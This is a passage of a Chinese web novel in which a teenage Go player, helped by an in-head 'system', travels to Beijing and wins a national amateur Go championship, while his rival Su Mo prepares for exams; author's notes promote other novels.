人设:暗黑狠戾疯子攻X得过且过咸鱼受 食用指南: 攻受开篇都是8岁/前期养崽/治愈救赎《 》 40-50 第41章 春燕衔泥而去, 秋雁排云而归,一晃七年过去,当年的稚童转眼已长成少年。 午后的篮球场被太阳晒得发烫, 篮板上的铁锈在光里泛着亮,少年脱了校服,往台阶上一扔,白色背心上悠悠浸出汗水。 黑色的球鞋在地面擦出“咚咚”地响,他弯腰拍着球,手腕一翻, 随后加速突破, 防守的男生侧身去拦, 但为时已晚,篮球在运作之下擦过篮筐边缘,“唰”地落进网里。 场外不停有人吹口哨, 还有女生尖叫着为他加油打气, 少年咧嘴笑, 额前的碎发被汗水湿透。 风卷热浪穿过球场, 所有的欢呼声齐聚一堂。 他们大喊, “纪辰新,牛逼!” “啊啊啊啊啊, 好帅, 好帅!” “这一球漂亮, 爽!” “叮铃铃”清亮的调子响起,短促而有力,纪辰新丢下球,用手按了暂停,“上课了, 下次再打。” 众人闻言,即便不舍,脚步却不敢慢,“快走,等下老班的课!” 梧桐树下的少女抱怨,“好不容易有一节体育课,就这么结束了?感觉我还没干什么呢” 对面的女生无语怼道:“你还想干什么?看纪辰新打球?你都看一整节课了!张如微,你清醒一点,马上要高考了,你以为你是他啊,他年级第一,随便玩,咱们比不了,快走吧,回去上课。” “谁要跟他比啊,没见他认真听过几堂课,就知道抱着那副破棋,也不知道有什么好下的。” 确实没什么好下的,纪辰新要是听到这话绝对举双手赞同,但没办法,机制就那样,三天不下棋就会死,那他只能与棋形影不离罗。 回到教室的纪辰新,又翻出了那副破棋,仔细看的话,就能发现还是当年某人送的那副,虽然掉了些漆,却也一直没换,主要是对他来说,还能用,为什么要换? 多浪费钱呀! 系统:【宿主,全国业余围棋锦标赛下周就要开始了,你准备好了吗?】 纪辰新伸了个懒腰,他为这天已经等了太久太久了,当初将证书卖掉后,他的确又参加了一次省赛,并再次获得了一份业余五段的证书。 但这些年,他并没有去参加定段赛,而是与系统讨论出了一个不同于传统职业道路的路径。 这个路径就是,拿下世界职业锦标赛的冠军,然后直升九段。 而被选拔参加世界赛的第一步,便是要先拿下全国业余围棋锦标赛的冠军。 这条路极其难走,至今没有人成功过。 因为就算拿下了全国业余围棋锦标赛的冠军,想后续在世界职业锦标赛里面脱颖而出,无异于以卵击石。 毕竟职业选手每年通过大量比赛所积累的经验不是业余选手能比的。 他们从定段开始一级一级往上升,其中的艰辛或许只有自己知道。 就如同苏陌,目前已经升到了职业七段,马上到八段,他几乎每一年都在不断地打比赛,他的那些成绩,只要上网就能查到。 也正因为如此,纪辰新虽然再没与他见过面,但一直都有关注他的比赛情况,甚至他下的那些棋,他都进行了模拟对弈。 这么多年下来,也就前年的时候,他才发现自己的水平堪堪与苏陌持平,这要如何完成任务,根本无法打败他! 于是,接下来两年,系统陪着他继续训练,他们在男主不知道的角落,一直寻找各种攻破他的方法。 终于,时间来到了今天,虽不说一定能打败他,但总算是有了九分的胜算。 再一个,距离苏陌出事只有一年了,他不能再躲下去了,不然任务完不成,整个世界都要拜拜。 这不是说笑的,系统提到过苏陌的战术极擅策略和技巧,有时候它扫描他的棋局会发现注意力被分散,甚至被棋子围成的大圈干扰。 怕是再过半年,系统都不敢确定自己一定能打败苏陌了,现在它能教的一切都已经教完了,剩下的只能靠纪辰新独自去领悟,去突破更高的阶层,转而长长久久的压制苏陌! 纪辰新也是麻了,从未见过这么垃圾的系统,居然还会被干扰? 不过因着这些,纪辰新也是知道了男主的可怕之处,成长速度已经不能用惊人来形容了。 他若再不去打击一下,指不定哪天他就真的打遍天下无敌手了,那才是真是完了! 不过,苏陌一直在打职业赛,像这种全国性的业余围棋锦标赛,他作为职业选手是无法参加的,毕竟仅限业余选手报名。 就像纪辰新这个非职业选手,自然也是打不了升段赛和职业赛的。 系统试探:【宿主,既然马上就要比赛了,今晚是不是就不去网吧了?】 【欸,此言差矣,比赛是比赛,游戏是游戏,两者并不冲突!】纪辰新一谈到网吧,就来劲,自从他喜欢玩的那个游戏上线后,除去平时下棋的时间,他几乎都泡在网吧,活脱脱一个网瘾少年。 所以,当放学铃声一响,第一个冲出教室的就是他。 “纪辰新,教导主任在办公室等你!” 才刚冲出去两步,他便铩羽而归,“什么事啊?” 张如微红着脸,“我我也不知道,我只是传话的,总之你快去吧。” 纪辰新拎着书包径直往办公室走去,校服被他敞开穿着,松松垮垮,带着一股不规整的生动劲。 张如微站着未动,任由他经过,只觉得呼吸的空气都沾染了一丝他的味道,心就像被按了快进键的鼓点,“咚咚,咚咚”又急又响,即便少年从始至终并未看她一眼。 “叩叩”敲了几下门,办公室里传出声音,“进。” 教导主任是个长相斯文的中年男人,戴副眼镜,笑眯眯地,“纪辰新同学,知道叫你过来是为了什么吗?” 这谁知道?纪辰新撇了撇嘴,摇摇头,“什么?” 话刚落,就见教导主任的手从兜里抽了出来,手心里躺着一个红包,“上次联考,你拿了全市第一,这是你的奖学金,一共三千。” 这倒是出人意料了,奖学金纪辰新不是没拿过,但一个学棋也就一次,每次还只有一千五。 这次居然翻倍了? 不得不说,这联考就是好啊,要是再多来几次就更好了! “接着啊,愣着干嘛?” 纪辰新不客气的接过,“谢谢老师。” 教导主任对他满是欣慰,“行了,去吧。” “好。”纪辰新笑了下,他袖口卷到了小臂中间,调皮地朝教导主任敬了个礼。 教导主任被他逗笑,“你这孩子就是皮!” 出了办公室,纪辰新将红包塞进了书包的夹层,本来要去网吧的他,决定先不去了,直接转战银行,存钱! * 帝都,国家棋院。 刚从国外结束封闭式训练的苏陌,第一站便去找了爷爷。 苏瀚阳作为国棋院的第一届院长,在位三十年,现在虽已退休多年,但在国棋院依旧有很深的影响力。 年近七十的老头子,正在与人手谈,见到孙儿的第一眼即便喜悦,却也颇具威严,“回来了?这次训练的怎么样?” 苏陌如今的身高已经窜到了一米八五,他身长玉立,穿着简单的白衬衫,外套一个黑色夹克,风尘仆仆,“没有败绩。” 他单单站在那,就如一副精心装裱的画,不张扬却又让人挪不开眼。 领口的口子被他规规矩矩系到了第二颗,衬衫袖口露出1-2厘米,袖口折的齐整,露出的手腕干净且骨节分明。 其利落的短发,淡淡地泛着光泽,肩线舒展,并不刻意挺直,却带着自然的挺拔,像初春抽条的竹,清润之下透着劲韧。 与苏瀚阳对弈的是国棋院的现任院长,曾经也是苏瀚阳的弟子之一,谢川庭。 谢川庭打心眼里喜欢苏陌,“瞧瞧这孩子,半年不见,气质越发沉稳了,棋艺更是令人惊叹。” “当真是积石如玉,列松如翠。郎艳独绝,世无其二。” 孙儿被夸,苏瀚阳当然高兴,却还是谦虚道,“你恭维恭维我老头子得了,他还小,仍需努力,哪当得起这些评价。” “欸,我这可是发自肺腑的真心话啊,小陌,你别听你爷爷的,你在我心里就是这么优秀。”谢川庭急忙道。 苏陌嘴角挂着一丝标准的笑,“谢伯伯,您太抬举我了。” “嘿”谢川庭还想继续说什么,却被苏瀚阳打断了,“好了,今天就下到这,我们先回去了。” 说罢,苏瀚阳便带着苏陌起身准备走了。 谢川庭挽留,“怎么就走了?还没下完呢!” “你自己慢慢下吧,你师母准备了一桌子菜正等着给孩子接风呢!” 出了国棋院的门,苏瀚阳侧身看着身旁比自己高出一截的孙儿,“这次给你放两个月的假,好好放松放松,马上要高考了,你想考就考,不想考也无所谓。” 苏陌点头应了声,“嗯,我自己会安排。” 对大多数职业选手而言,高考对他们并不重要,他们因专注于围棋训练通常会暂时或就此放弃常规的学校教育,毕竟这不是他们的人生目标。 从他们踏入了职业道路起,便早已与普通人不同了。 就像常年追在苏陌后面比试的那个叫赵言权的孩子,便不打算参加高考了。 当初苏陌转学后是跳了一级的,但他不知道的是,他跳完后,产生了连锁反应。 赵言权是小升初时来到的帝都,当他得知苏陌平白比自己高了一个年级后,便吵着嚷着要跳级。 他全然不顾自己的成绩如何,盲目的跳,结果落了个吊车尾的成绩,好在他脑子还算灵活,发奋图强追赶了一学期,总算回到了中上游。 不过高考对他来说,终究是可有可无,他现在正准备打升段赛,二者一冲突,便不打算参加了。 至于纪辰新他是从系统讲述的剧情里得知苏陌跳级的,他本想循规蹈矩的恢复学籍,但因为剧情的原因,最后在入学之际,毅然决然也跳了一级。 用他的话来讲,那便是:开玩笑!男主都跳了,我也要跳,我又不比男主差! 系统无脑附和:就是就是,到底谁比谁差啊!—— 作者有话说:无良作者:好啦好啦,都不差,都不差,都是乖宝宝,都是乖孩子~ 预收:《我在末世文里指挥丧尸干活》求收藏~ 文案如下: 许迟一觉醒来穿进了丧尸文里的炮灰反派,满屏的丧尸犹如过江之鲫。 天上飞的 地上跑的 水里游的 慢着……那个撑杆跳的,你是不是太嚣张了一点? 一开始,许迟只能艰难求生。 后来,偶遇丧尸突袭,许迟意外解锁了“言出法随”的异能。 从此,他让丧尸滚就滚,让丧尸爬就爬,无聊时甚至让丧尸给他跳舞解闷。 某日,狼狈又疲倦的国家战队展开救援,却看到画风清奇的一幕。 一群丧尸在跑步机上跑步。 旁边面容精致的少年嘴里念念有词“跑快点,再跑快点,发电量不够,空调带不动啊。” 再然后看到旁边湖里拼命抓鱼的丧尸 以及丧尸建房子,丧尸监工… 甚至…还有丧尸在开挖掘机? …… 许迟的小日子过得风生水起,直到那日,一个包裹严实的人找上了门,说找他谈一门生意。 “你好,我叫陆枭。” 许迟神色惊疑:谁?好耳熟,等等,难道是…那个扬言要毁灭世界的丧尸王…陆枭?!!! 然而,下一秒却听见,这个浑身散发着危险气息的男人意味不明道,“请问你这还需要包工头吗?” 第42章 五月初的天气, 不燥不寒,带着春末的温柔,又悄悄藏着夏初的暖意。 纪辰新背上行囊, 临出发前,奶奶追着他出来,将一个鼓鼓囊囊的手绢塞入他手中。 “在外不要舍不得花钱,一定要吃好,喝好。” 纪辰新将手绢推回去,“我有钱, 你忘了?我银行卡里还有一万多呢, 别担心我, 这个你就留着自己用。” “拿着吧,帝都山高路远的,这么大城市, 花费肯定高, 到时候吃不上饭怎么办。”老太太执意要给, 劝都劝不住。 纪辰新握住她的手, “我就去十天左右, 比完赛就回来了,哪有你说的那么夸张。” 老太太将钱强硬塞进他的口袋, 然后快步走了几步, 回了屋, 将门一关,“快拿走,快拿走,不然就丢外面吧,被人捡了去!” 这是在激他, 但纪辰新不吃这套,“好啊,那奶奶我走了哈,钱我就放地上了。” 说罢,外面便没了声响。 老太太隔着门听,意识到孙儿真的走了,她着急忙慌地开了门,结果就见纪辰新站在门口的大槐树下,晏晏笑着,蝉鸣还没到聒噪的时候,偶尔几声,就像在提醒夏天不远了。 “奶奶,我就知道你舍不得,好了,不逗你了,这次真走了。”他背着行李,脚步匆匆,那略显单薄的身躯在沉重行李的压迫下,依旧保持着坚定的姿态。 他的背影像一棵挺拔的白杨,不曾弯曲,双腿有力的交替迈开,坚实而沉稳,仿佛与脚下的土地较着劲。 “快回去吧,我会好好照顾自己的!” * 一连坐了摩托车、汽车、轿车、火车、花费了快两天的时间,纪辰新终于在第三天抵达了帝都。 当他踏出火车站的那一刻,心中没来由地溢出了一丝新奇与憧憬。 庄重而雄伟的建筑矗立在眼前,带着浓郁的民族风格与现代化设施完美结合,在阳光下静静散发着独特魅力。 大批的旅客,大包小包,广场上人头攒动,他们的脸上洋溢着与他如出一辙的憧憬与期待。 纪辰新背紧了自己的包,一时辨不清方向,待在了原地好一会儿。 有司机正在揽客,“去哪?可拼车,价格公道。” 纪辰新拒绝了,他仔细看了眼公交车的位置,便坚定地往那个方向去了。 他要去的是京伦大酒店,这是此次比赛的地点,那里给参赛的选手安排了住宿,但也仅包住宿而已,一日三餐得他们自己解决。 公交转了两趟,过程将近两个半小时,纪辰新才在晚上八点前到达酒店。 第二天就要比赛了,他是来的最晚的一个。 住宿是双人间,他到的时候,另一个室友霸占了两张床。 看到纪辰新刷卡进来,他还愣了一瞬,“额我以为没人来了,不好意思啊,我这就收拾。” 他立马将衣服,裤子什么的一股脑拿了下来,放进了自己的行李箱里。 纪辰新浑身就背了个包,一个巨大无比的包,这里面装着他这十天将需要用到的所有东西。 待室友将一切收拾好,他才将自己的包解下来放到了床上,肚子咕噜咕噜叫了几声,有些饿了,他还没吃晚饭。 叫声在这静谧又密封的空间里显得有些刺耳,室友是个身高一米七五,有点微胖的男生,他尴尬地拿了面包出来,“你是不是饿了,要不要吃?” 纪辰新拒绝了,他将包放下,拿了些必须物品,便出了门,“不用了,我出去吃。” 他太累了,就想吃点热乎的,不管是面,还是馄饨,只要是口热的就行。 待他走后,微胖男生立马拿出手机打字,【唉,室友来了,还以为就我一个人呢,他长的好牛逼,还很高冷,给他东西都不吃,看着不太好相处的样子。】 酒店附近吃饭的店不少,但纪辰新看着那些富丽堂皇的建筑愣是不敢走进去。 最后他精挑细选了一个小馆子,吃了碗汤面,还加了个蛋,异常满足。 等他吃饱喝足回到酒店时,已经快九点了,他一刷卡回来,床上的微胖男生便立即坐了起来,便的有些拘谨。 两个陌生人,独处一块儿,莫名就感觉空气都被冻住了似的。 这种安静,就好像呼吸都能听见。 若是不小心碰上视线,更是像被烫到似的迅速移开。 当然,这只是微胖男生一个人的感觉。 纪辰新沉静在自己的世界里,一会儿洗澡,一会又是洗衣服的,忙的不亦说乎。 十点左右,纪辰新忙完了一切,终于躺到了床上。 “那个”这个被他忽略良久的室友,主动找了话题,“我叫朴斌,你叫什么呀?” 纪辰新侧目瞥了他一眼,淡声道,“纪辰新。” “噢,你是哪里人啊?”朴斌询问着,“你来的好晚,家里是不是很远。” 纪辰新起身,不疾不徐地倒了杯水,喝着,“墨城。” 回答完后,对面尬了会儿,“你不问问我吗?” 纪辰新掀起眼皮,放下了杯子,“你呢?” “我来自江洲,不知道你听过没,就在”朴斌就像打开了话匣子,谈到了自己家乡,像是有说不完的话。 纪辰新没阻止他,他听着朴斌对江洲的描述,思绪渐渐飘远,江洲啊,地方是个好地方,人嘛就好像也不全是居心叵测的人。 “对了,你参加这个比赛是为了什么?”朴斌谈到深处,问了句。 纪辰新没回答,反问了他,“你呢,为了什么?” “当然是以棋会友,挑战自我啊,但我棋力一般般,估计也走不长远。”朴斌嘿嘿笑了声,看着挺憨厚。 纪辰新点了点头,“我来拿冠军的。” “啊?”朴斌是真被他的发言吓到了,“你这么自信啊?” “听说冠军,奖励五万块钱,老实说,你是不是为了那五万块钱?” 他合理猜测着,因为确实不少人是蹦着这个来的。 “你说是就是吧。”纪辰新没反驳,若是告诉他,他最终目的是参加世界赛,还要夺冠,人家估计也会嘲笑他异想天开吧。 “时间不早了,明天早上九点就要比赛,早点睡吧。” 朴斌本来还想说些什么,一瞅对面床,已然闭上眼睛,似乎不想与他多言,他也就将嘴边的话都咽了下去。 “好,那我关灯了!” * 得知苏陌终于从国外回来,赵言权第二天便找上了门。 “苏陌,比一场!” 赵言权站在苏陌家开阔大气,挑高的客厅,眸光闪烁,跃跃欲试。 大理石,其细腻的纹路在灯带的映照下,散发着温润的质感。 少年坐在经典耐看的灰色皮质沙发上,手里翻动着书页,周身透着股清冽的疏离感。 他的睫毛很长,碎发散在额前,遮住了一点眼尾,垂着眸,并未看眼前的人一眼。 “不下,这两个月复习书本知识,准备高考。” 赵言权以为自己听错了,“你在说什么鬼话,放着升段赛不打,你居然准备高考?” 苏陌穿着最简单的白衬衫,领口微微敞开,袖口却扣的一丝不苟,他手指修长,捏着书页,“我之后的比赛都在下半年,急什么?” “那你和我下一局。”赵言权也不管他参不参加高考了,只想要验证一下自己的实力有没有长进,看看俩人现在差距是多少。 说罢,他便要去揭开他的书,结果苏陌抬眸目光淡淡扫了过来,像是片薄雪落在了赵言权的身上,声音又清又冷,“说了,不下!” 俩人对峙着,像是有什么无形的界限,横在了中间。 这种感觉就像是你看得见他的清冷,却摸不到他的温度,他将自己与世界之间划了道清晰的线。 其实,赵言权从小就明白,苏陌一直就是这么个人,只不过那年被某人打破了这种平衡后,才给了他那种平易近人的错觉。 倏然,赵言权冷不丁,嗤笑了声,“若是纪辰新在这,你也会这样吗?” 提到这个人,霎时间,周遭的空气陡然变冷了,屋子里静的可怕,明明没有风,却感觉周围的空气在往下坠,沉甸甸的,压的人肩膀发酸。 良久 苏陌的手指微微蜷着,咬字清晰,却短的像一句不愿多言的批注,“别提他!” 视线里,赵言权看着他微微颔首,目光低垂,注意力像是被打乱,转而又起身,放下了书,背影笔直,去了窗边,如同一幅线条利落,却又无人能懂的画。 “他确实挺狠的。”赵言权看着他的背影,讪笑着。 “这么多年了,就像从来没出现过一样,以他的围棋天赋,怎么也不该岌岌无名吧。” “只要是定了段的,都会有名单记载,但怎么会连国棋院都查不到呢。” “你说他到底是没下围棋了,还是出了什么事?” 这个问题,萦绕在不少人的心中,成为了不可提,也不能想的存在,因为不论哪一个都足够令人唏嘘。 他们不愿相信年少时,这样一个惊才绝艳,天资卓越之人,就此陨灭,夭折了。 所以,纪辰新,你到底是活着,还是已经 赵言权抿着唇,眼神如有实质般,注视着飘渺的远方。 若是活着,也该报个平安吧 不枉费,大家相识一场!—— 作者有话说:今天提前发[让我康康],有没有营养液~ 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第43章 翌日清早, 纪辰新醒来时,才刚七点半。 一旁的室友朴斌正呼呼大睡,时不时还砸吧一下嘴, 像是在梦里吃到了什么美食。 纪辰新轻手轻脚起床,准备洗漱,十分钟后,他带上了门,出去觅食。 出了酒店,清凉的空气扑面而来, 不远处有小贩正在叫唤, “刚出锅的包子, 油条” “糖糕,刚炸好的糖糕!” 纪辰新闻着香气,去了包子铺, 金黄的油条在竹筐里冒着热气, 隔壁摊位的豆浆桶“咔哒”掀开盖, 乳白的热气带着黄豆的香醇, 往人的鼻尖钻。 “老板, 来个肉包子,一个油条, 一杯豆浆。” 老板笑着道, “好嘞, 6块钱。” 纪辰新掏出钱,递了过去,手刚接过装好的食物,一侧目就见朴斌不知何时站在了他身旁。 微愣之际,倒是朴斌撞了下他的肩膀, “你起床了,怎么也不叫我,咱们可以一块出来吃早餐啊。” “看你还在睡”纪辰新无奈回应,只觉得这室友好像有些自来熟。 朴斌来到这,人生地不熟,恰好又与纪辰新安排在一个房,成为了室友,自然想着两个人可以做个伴。 “你等一下我!等我买完,一起回去。” 纪辰新点了下头,定定站在一旁等他。 朴斌买了两个肉包子、一杯粥,还有一个根油条。 回去路上,朴斌咬着包子,提议道,“你昨晚这么晚到,应该还没去看过比赛场地吧,要不要去看看?” 纪辰新正有此意,怎么也该去熟悉一下比赛场地的。 于是,俩人一同去了京伦大酒店的六楼。 刚到六楼,就能听到负责引导的工作人员在人群中穿梭,“都别堵在这,让开点!” 比赛场地门口,不少人在伫立张望。 保安守在入口,不让任何靠近,所以大家也就只能看看。 看着面前黑压压攒动的人头,纪辰新不自觉走到了前排,一眼望去,便见会场里整齐排列的棋桌,纵横交错,大多是深色木质,桌与桌之间保持着适当距离,既不拥挤,又方便裁判巡视。 每张桌上摆放着统一色调的棋具,素雅棋罐分置两侧,棋子饱满且光泽温润,四周全是标识牌,透着一种肃穆又神圣的氛围,空气里都藏着沉静的气息。 “昨天下午来看,都还没摆好呢,今天就”朴斌窃窃私语着,“搞的我都有点紧张了。” “纪辰新,你紧张吗?” 纪辰新目不斜视地观察场地,眸中透着一股仿佛与生俱来的自信,“还好,蛮期待的。” “啊?”朴斌表示无法理解,默默给自己打起了气,“放轻松,放轻松,这不是定段赛,没那么难的,不要怕,加油!” 纪辰新吸着豆浆,无意问了句,“定段赛很难吗?” 这个问题一抛出来,一瞬间,周围鸦雀无声,几乎所有人都朝他看了过来。 他们就想看看,到底是谁在说这么大言不惭的话? 纪辰新并没意识到自己说错了什么,他狐疑地回望众人,就差摊手说,干嘛?干嘛都瞅我? 朴斌立即将他扯了出来,生怕他继续拉仇恨。 “你刚问的什么话,什么叫定段赛很难吗?” “你难道没参加过定段赛吗,那简直是超难好吧!” “你猜为什么这么多人过来参加这个比赛?” “这里的每一个人,都不知道打过多少场定段赛了,但死活就定不上!” “去年,全国总共就36个人成功定段,是少儿组,青少年组,成年组所有加起来才36个人!”!!!纪辰新瞳孔微张,“那成功率确实有点低。” 朴斌深吸一口气,沮丧道:“何止低啊,我已经打了5年定段赛了,若是25岁前无法定段,怕是这辈子都与职业无缘了。” “别气馁。”纪辰新想说点安慰的话,却又无从说起,“总会成功的。” 朴斌张望了眼四周,然后小声道,“你千万别再说那种话了,小心被人针对。” “就因为定段赛过不了,所以他们都憋着一口气,想要夺冠呢,” 纪辰新不禁挑眉,“此话怎讲?” “因为只要拿到全国业余围棋锦标赛的冠军,就可以直接申请晋升为职业初段,再也不用参加定段赛了。” 朴斌给他科普着,“面对这样的诱惑,难以想象比赛会有多激烈。” 原来如此啊,纪辰新将最后一口油条塞进嘴里,“没事,大家各凭本事!” * 八点五十分,所有选手按照标识牌,落了座,最前面的大屏上注明了此次比赛的全部台次和选手信息。 大赛采用积分编排制,总赛11轮,为期五天。 主裁判:“比赛分两个阶段进行,第一阶段所有选手抽签分为A、B两个组,上届比赛的前八名选手为种子选手,按1/8、2/7、3/6、4/5名顺序抽签分别列到两个组。 第二阶段由各组前4名进行两轮比赛,第一轮按” 所有选手都在认真听着裁判宣布规则,这是早就公布出来的规则,却还是在现场念了一遍。 “每轮比赛中,积分相同或相近的选手会被安排对阵,获胜选手积2分,失败选手则积0分,随着比赛轮次推进,选手会根据积分不断遇到新对手,最终根据总积分确定个人和团体名次。” 在裁判宣读规则的过程中,大家已经抽好签,并分好了组,就等着裁判宣读完,最后说开始。 正九点,比赛终于吹响了号角。 霎时间,整个会场静得能听到对手的呼吸声,以及参差不齐的“啪、啪”落子声。 纪辰新落子如飞,黑子脆地像是要敲碎案上的月光,旁人还在琢磨开局定式,他已布下三分格局。 白棋企图断黑棋大龙,他却不紧不慢,轻跳一子,将白棋的三块棋都串在了黑棋的势力范围内,若逃便要丢半壁江山,令人举步维艰。 对手顿时被打扰了节奏,长考不决,棋子拿起又放下,反复摩梭着棋盒的边缘,钟摆滴答响了两三分钟,才勉强落子,其指尖抖的差点将棋子掉落棋盘外,最后却发现连退路都没了。 一轮接着一轮,对手换了一个又一个。 纪辰新始终气定神闲,嘴角微扬,目光扫过棋盘,手指轻叩桌沿,愈发的松弛,“你要输了。” 对手孤注一掷地冲断,膝盖微抖,又落两子,却猛然眼神一紧,心中苦笑,他拼尽全力冲断的棋子,竟早成了死棋。 乌云浮在了空中,沉沉地压下来,天际仿佛被撕开了一道口子,瞬间,天地间挂起了一道白茫茫的雨幕,雨势又急又大,劈里啪啦,以粗暴的方式砸向万物。 会场里,所有人依旧沉浸于棋盘厮杀中,丝毫没有感知到外界的变化。 木质棋盘上,白棋如同一条灵活的鱼,沿着边路悄悄游到了中腹,它不知道黑子早已布下天罗地网就等它送上门来。 穿着破洞裤的少年咬着唇,将子往左星位一放,下一秒黑子像根针一样落在了白棋拆二的间隙,将其所有的阵势陡然扎出了个窟窿。 他盯着那片被黑子包围的密不透风的白棋,捏着白子在棋盘上悬了半分钟,指节都泛了白,泄气般,“你刚刚是故意留下的破绽吧?” 纪辰新的目光毫无波澜,每一颗棋子都在他心里排好了位置,“是啊,这么明显,你居然才看出来?” 窗外狂风大作,吹的棋盘上的落子微微发亮,工作人员连忙去关窗。 雨势时缓时停,断断续续,一连下了三天,楼下的树木都渐渐失了轮廓,模糊在一片混沌的水汽之中。 雷声在浓厚的云层深处滚动,像是野兽般发出低沉咆哮,闷闷地轰响,捶打在人的耳膜和胸腔,令人喘不过气来。 计时器红色的数字正在跳动,戴着眼镜的年轻人中指与食指夹着棋子,悬于半空,纹丝不动,仿佛定住般,“第97手,第97手,我下我下” 他终于落下一子,转瞬之间被却纪辰新轻描淡写地抵挡住了进攻,并反将了一军。 男人死死卡住自己的手腕,半张着嘴,眼神空洞地望着某处虚空,脸色发青。 计时器进入了读秒阶段,电子女声开始倒计时:“10、9、8、7——” 男人再次捏起棋子,却在落下的瞬间微微发抖。 “——3、2、1” 棋子还未落到棋盘,读秒声便戛然而止。 纪辰新礼貌致意,“承让了。” 对面响起隐隐的抽气声,又强硬地咽了回去,男人摘下眼镜,用力揉搓鼻梁,“是我技不如人。” 窗外的天色暗了下来,雨势渐渐停下,仿佛有转晴的趋势。 黑白两条大龙纠缠地冲向中腹,气紧如绞索,纪辰新的每一步都带着破空之声,第129手,“啪”。 声音不重,却像一颗冰冷的石子,投入深潭,对面选手瞳孔骤然紧缩,身体前倾,几乎要撞到棋盘上。 “什么?” 他全神贯注地盯着棋盘,仿佛在数还有几口气,脑子里嗡嗡作响,他准备了许久的杀招,好像失去了所有的意义。 冷汗,从他额角缓缓滑落,他决定断尾求生。 他脑海里飞速的计算,这个叫纪辰新的,好像在第五十手前就布下了一枚残棋,而自己苦心经营的屠龙局,从一开始就只是他宏大布局里的一枚诱饵。 青年,脸色由红转白,手指差点打翻棋罐,他感到了一种巨大的,令人窒息的无力感,仿若对抗的不是一个人,而是一片深不可测的海洋。 对面似乎都没用全力,随手一个浪花便搅的他天翻地覆。 最终,他艰难地伸出手,将两颗棋子放在了棋坪的右下角,投子,选择认负! 纪辰新微微颔首,神色平静无波,仿佛只是完成了一次简单的运算,不值一提般起身离开。 为期五天的比赛终究还是走向了尾声。 窗外,黄昏的光线斜斜照射在青年脸上,棋盘的经络也被拉出了长长的影子,那枚决定胜负的棋子,正安安静静地躺在那,轻如鸿毛,又重若千钧。 一着之差,天堑鸿沟! 最中央的棋局周围摆放了三台摄像机,全程摄影,将所有对局全部收录其中,如同监控一样警示着众人,极大程度上保证了比赛的公正性。 当裁判宣布比赛结束的刹那,铃声响起,作为辅助信号,就此落下了帷幕。 纪辰新以全胜的姿态夺得了这一届全国业余围棋锦标赛的冠军。 颁奖仪式定在了当天晚上八点,主办方邀请的媒体以及嘉宾在七点十分便已到达。 纪辰新待在酒店房间收拾行李,他已经买好了晚上11点的票,准备等颁完奖就离开。 看着他收拾行李的朴斌,已经对他崇拜到不行了,甚至想拍死五天前的自己,居然会质疑纪辰新? 也太不知天高地厚了! 说拿冠军就拿冠军,这是什么恐怖的实力啊,反观自己,连与纪辰新对弈的机会都没有。 他挽尊的想,或许也有赛制的原因。 每一轮次,是完全按照选手总积分进行对阵编排的,原则就是高分对高分,低分对低分,且上一轮比过的选手下一轮不再相遇,所有选手完成相同轮次的比赛,最后再根据积分高低排名。 而他总共都没赢几盘,也就没法与纪辰新对上了。 朴斌自嘲一笑,都不知道这究竟是福还是祸了,但稍一回忆,又能想起每个与纪辰新对弈完的那些对手,那一张张死气沉沉,如丧考妣的脸,又无比庆幸自己还好没与他遇上。 纪辰新收拾完,便出了门,去现场。 “欸,你等等我,我要和你一起见证。”朴斌连忙跟了上去。 纪辰新走的不算快,但以他一米八的身高,脚步自然迈的要比朴斌大些,时不时停下等他一下,“你要不去坐电梯?” “算了吧,那电梯,你是不知道有多少人,等都不知道等到何年何月去。”朴斌抱怨着,脚下也未曾停下。 终于,俩人在三分钟后,成功抵达了颁奖现场,依旧是六楼,但整个会场重新布置了一番,棋桌,棋盘全都消失不见了,只剩下几十上百张椅子整齐排布在会场的中央。 那些标识牌也全部撤下了,变成了各种庆祝贺词。 纪辰新打量了没几秒,转瞬就被工作人员扯到了后台,“找你好半天了,获奖感言准备好了吗?等下是实时直播,千万不能出岔子!” 获奖感言?这倒是没准备 工作人员拿了几张纸放他面前,“要是不知道怎么说,就临时背两句。” 纪辰新愣愣地拿起纸张看了眼,全是冠冕堂皇的话 正八点,主持人开场致词。 纪辰新坐在会场的第一排,耐心等着领奖,结果等着等着,被迫听了主办方邀请来的各位嘉宾,长达快一个小时的演讲。 直到快九点,才进入到颁奖环节。 主持人在上面侃侃而谈,从第三名开始颁起,最后才到他。 然而,真到他这,又出幺蛾子了,说是要插播一条广告! 毕竟是要上电视,倒也能理解,索性耽误的时间不多。 九点半左右,纪辰新终于从主持人的报幕声里出来。 霎时间,聚光灯骤然聚焦在领奖台,他从礼仪小姐手中接过奖杯,金属的光泽在光束里流转。 周围的摄像机“咔咔”声连成一片,像是数不清的眼睛,捕捉着他的一举一动。 有记者挤到了台前,将录音笔递到他嘴边,让他说获奖感言。 纪辰新举起奖杯,内心莫名充斥了一丝紧张,但还是微微扬起嘴角,“能拿到这个奖,我很开心,也很激动。谢谢主办方和裁判给了这么好的对弈平台,让我们这群志同道合的人能汇聚在此,拼搏,较量。” “我还要感谢我的对手们,这几天能与你们对弈,真的很尽兴,我想说的是,暂时的落败,不代表永远,若有机会,咱们下个赛场再见。” 视线里,整个会场忽明忽亮,所有的目光,所有声响,都是因他而起。 他如是道:“奖杯不是终点,棋艺也不止于此,以后我会继续努力的,祝愿所有的棋友,都能得偿所愿。” 